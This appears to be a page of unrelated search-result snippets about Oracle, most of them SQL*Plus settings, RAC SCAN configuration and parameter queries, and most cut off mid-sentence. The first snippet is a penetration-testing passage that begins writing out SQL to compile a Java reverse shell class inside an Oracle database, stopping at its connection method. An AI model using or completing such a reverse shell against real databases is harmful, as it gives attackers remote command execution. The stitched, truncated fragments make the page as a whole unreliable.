当然,如果您对Java和渗透测试有一定程度的熟悉,您可能马上联想到创建一个会在Oracle数据库中编译的反向shell: SET scan off create or replace and compile java source named ReverseShell as import java.io.*; public class ReverseShell{ public static void getConnection(String ip, String port) throws Interru...
SCAN {OFF|ON(默认值)} 控制对存在的替换变量和值的扫描.OFF禁止替换变量和值的处理; ON则允许正常处理. SERVEROUT[PUT] {OFF|ON} [SIZE n] 控制在SQL*PLUS中的存储过程是否显示输出.OFF时为禁止; ON时则显示输出. SIZE设置缓冲输出的字节数,缺省值为2000, n不能小于2000或大于一百万. SHOW[MODE] {OFF...
Before you run any connector operations, on your Oracle client, set the environment variable named ORA_NCHAR_LITERAL_REPLACE to TRUE. This setting enables NCHAR string literal replacement, which prevents data loss when string literals that contain characters beyond the database character set are inser...
自行控制commit 避免出现ORA-1555错误 该脚本目前存在一个不足,在获取rowid分块时要求大表上有适当的索引,否则可能会因为全表扫描并排序而十分缓慢,若有恰当的索引则会使用INDEX FAST FULL SCAN。 这里的恰当索引是指至少有一个非空列的普通b*tree索引, 最好的情况是有主键索引或者bitmap位图索引。 Oracle在版本1...
SET VERIFY OFF DEFINE PACKAGE_NAME="EMP_PKG" WHENEVER SQLERROR EXIT FAILURE ROLLBACK; CREATE or REPLACE PACKAGE BODY &PACKAGE_NAME as /* Put any header information (such as $Header$) here. It must be written within the package definition so the ...
setecho on drop role plustrace;create role plustrace;grant select on v_$sesstat to plustrace;grant select on v_$statname to plustrace;grant select on v_$mystat to plustrace;grant plustrace to dbawithadmin option;setecho off 注意:with admin option 的意思是级联,即可将授予的权限再次授予下级...
要使用SCAN IP来连接rac数据库,并且实现负载均衡的功能,那么需要在数据库中配置参数remote_listener: 代码语言:txt 复制 alter system set remote_listener='raclhr-19c-scan:1521' sid='*'; 其中,raclhr-19c-scan是集群的scan名称。 通过设置这个参数,任何数据库实例都会向SCAN监听器注册,主要用于注册远程数据库...
WMS: Item/Revision Delimiter This profile can be set at the site level and is applicable to both the Oracle Mobile Supply Chain Application and Oracle Warehouse Management. The character indicated by this profile option will be interpreted as a carriage return, enabling a single scan to populate...
Oracle Data Platform consente alle organizzazioni di ridurre la complessità e i costi dell'integrazione migliorando al contempo gli insight sui dati. Ulteriori informazioni su Oracle Data Platform Porta l'intelligenza artificiale nei tuoi dati ...
3、em_parameter order by isdefault,name,inst_id; ASM参数查询set linesize 200;set pagesize 500;column name format a40 word_wrapped;column display_value format a60 word_wrapped;select distinct name,display_value,isdefault from gv$system_parameter order by isdefault,name; select inst_id 4、,name...